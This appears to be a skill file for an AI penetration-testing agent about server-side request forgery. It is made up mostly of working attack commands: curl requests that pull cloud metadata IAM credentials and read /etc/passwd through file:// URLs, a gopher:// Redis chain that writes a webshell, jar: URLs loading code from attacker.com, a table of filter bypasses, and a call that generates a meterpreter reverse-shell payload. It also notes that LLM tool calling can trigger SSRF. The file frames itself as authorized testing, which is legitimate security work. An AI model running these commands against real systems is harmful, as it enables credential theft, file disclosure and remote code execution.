ssrf-pentest

name	ssrf-pentest
description	Guides server-side request forgery testing with internal network probes, cloud metadata abuse, protocol smuggling, and filter bypass techniques. Use when the application fetches URLs, webhooks, PDFs, image proxies, or imports content from user-supplied addresses.

Server-Side Request Forgery Pentest

Prerequisites

• Target is in scope (scope/scope-master.txt, engagement ROE).
• Load web-app-pentest for overall web testing context.
• For cloud metadata targets, also load cloud-pentest.

Triggers

• Parameters accepting URLs: url, uri, path, dest, redirect, feed, src
• Webhook, callback, or import-from-URL features
• PDF/HTML/image generation from remote resources
• Image proxy, thumbnail, or avatar fetch by URL
• Server-side HTTP client errors referencing internal hosts
• File fetch features accepting http://, file://, or scheme-prefixed values

Workflow

Task Progress:
- [ ] Identify SSRF sinks (URL params, XML, SVG, PDF, webhook configs)
- [ ] Test with low-impact probes (metadata, internal IPs, DNS canary)
- [ ] Enumerate filter behavior (localhost blocklist, scheme allowlist)
- [ ] Apply bypass techniques when blocked
- [ ] Escalate to internal services, cloud metadata, or protocol abuse
- [ ] Document with request/response evidence and impact proof

Detection

Basic internal probes

CLI (primary for web vulns):

python3 ssrfmap.py -r request.txt -p url -m readfiles
curl -X POST "http://<target>/fetch" -d "url=http://127.0.0.1/"

Probes: http://127.0.0.1/, http://169.254.169.254/, http://2130706433/ (decimal), http://0x7f000001/ (hex)

MSF MCP: No direct module. Use msf_search_modules(query="ssrf") or msf_search_modules(query="server side request").

Blind SSRF (DNS canary)

CLI (primary):

python3 ssrfmap.py -r request.txt -p url -m ssrf --lhost attacker.com --lport 80
# Payload: http://unique-id.attacker.com/

Use Burp Collaborator; confirm DNS lookup or HTTP callback from server IP.

MSF MCP: No direct module.

Exploitation by variant

Cloud metadata (IMDSv1)

CLI (primary):

curl -X POST "http://<target>/fetch" -d "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
python3 ssrfmap.py -r request.txt -p url -m aws

MSF MCP: No direct module. Chain credentials to cloud-pentest AWS abuse.

AWS IMDSv2 token chain

CLI (primary):

# Step 1: PUT token (requires method control in SSRF)
curl -X POST "http://<target>/fetch" -d "url=http://169.254.169.254/latest/api/token" -H "X-Method: PUT" -H "X-Header: X-aws-ec2-metadata-token-ttl-seconds: 21600"
# Step 2: GET creds with token header
curl -X POST "http://<target>/fetch" -d "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" -H "X-Header: X-aws-ec2-metadata-token: <token>"

If SSRF supports custom HTTP method and headers via wrapper API, chain PUT then GET.

MSF MCP: No direct module.

GCP and Azure metadata

CLI (primary):

# GCP: Metadata-Flavor: Google
curl -X POST "http://<target>/fetch" -d "url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Azure: Metadata: true
curl -X POST "http://<target>/fetch" -d "url=http://169.254.169.254/metadata/instance?api-version=2021-02-01"

MSF MCP: No direct module.

file:// protocol

CLI (primary):

python3 ssrfmap.py -r request.txt -p url -m readfiles
# file:///etc/passwd, file:///c:/windows/win.ini

MSF MCP: No direct module.

jar:// and netdoc:// protocols

CLI (primary):

# Java URL handlers
curl -X POST "http://<target>/fetch" -d "url=jar:http://attacker.com/evil.jar!/"
curl -X POST "http://<target>/fetch" -d "url=netdoc:///etc/passwd"

Test on Java-based fetchers; jar:// may trigger class loading, netdoc:// reads local files on legacy JVMs.

MSF MCP: No direct module.

gopher:// Redis RCE chain (Gopherus)

CLI (primary):

python3 gopherus.py --exploit redis
# Copy generated gopher payload, URL-encode, inject:
curl -X POST "http://<target>/fetch" -d "url=gopher://127.0.0.1:6379/_<encoded_redis_commands>"

Full chain: flushall, config set dir, config set dbfilename, set webshell payload, save.

MSF MCP: No direct module. After webshell, use msf_generate_payload for upgrade shell.

dict:// protocol

CLI (primary):

curl -X POST "http://<target>/fetch" -d "url=dict://127.0.0.1:6379/info"

MSF MCP: No direct module.

PDF SSRF

CLI (primary):

# Embed remote fetch in PDF
echo '%PDF-1.4
1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj
2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj
3 0 obj<</Type/Page/MediaBox[0 0 612 792]/Resources<</XObject<</img 4 0 R>>>>>>endobj
4 0 obj<</Type/XObject/Subtype/Image/Width 1/Height 1/Filter/DCTDecode/Length 0>>stream
endstream endobj
trailer<</Root 1 0 R>>' > ssrf.pdf
# Or use /URI action: /URI (http://169.254.169.254/)
curl -F "file=@ssrf.pdf" "http://<target>/convert"

Upload PDF with /URI or image XObject pointing to internal URL; server-side renderer fetches target.

MSF MCP: No direct module.

CRLF-to-SSRF

CLI (primary):

# Inject CRLF in URL param to add headers or smuggle second request
curl "http://<target>/proxy?url=http://169.254.169.254/latest/meta-data/%0d%0aX-Forwarded-For:%20127.0.0.1"
curl "http://<target>/proxy?url=http://internal/%0d%0aHost:%20admin.local"

MSF MCP: No direct module.

Filter/WAF bypass

CLI (primary):

python3 ssrfmap.py -r request.txt -p url -m ssrf --ssl --level 5

Block	Bypass
localhost	127.1, 0, 2130706433, 0x7f000001
IPv4 filter	[::1], [::ffff:127.0.0.1]
Domain whitelist	Attacker redirect to internal IP
URL parser	http://attacker.com@127.0.0.1/, http://127.0.0.1#@attacker.com/
DNS rebinding	Attacker DNS returns external then internal on re-resolve

MSF MCP: No direct module.

Impact escalation

Stage	CLI technique
Port scan	Iterate ports via response timing/errors
Service abuse	gopher to Redis, FastCGI, Memcached
Cloud creds	Metadata IAM role credentials
RCE	Redis gopher write webshell
Data read	file:// local file access

MSF MCP post-RCE:

msf_generate_payload(
  engagement_id="<id>",
  payload="linux/x64/meterpreter/reverse_tcp",
  format="elf",
  options={"LHOST": "<attacker>", "LPORT": 4444},
  output_path="evidence/msf/payload.elf"
)

Tool reference

python3 ssrfmap.py -r request.txt -p url -m readfiles
python3 ssrfmap.py -r request.txt -p url -m aws --lhost attacker.com
python3 gopherus.py --exploit redis
python3 gopherus.py --exploit mysql

Burp Collaborator for blind SSRF.

Related skills

• web-app-pentest - overall web testing flow
• cloud-pentest - AWS/GCP/Azure metadata and IAM abuse from SSRF
• xxe-pentest - XXE can chain to SSRF against internal hosts
• request-smuggling-pentest - smuggling can reach internal backends from SSRF context
• prompt-injection-pentest - LLM tool calling can trigger SSRF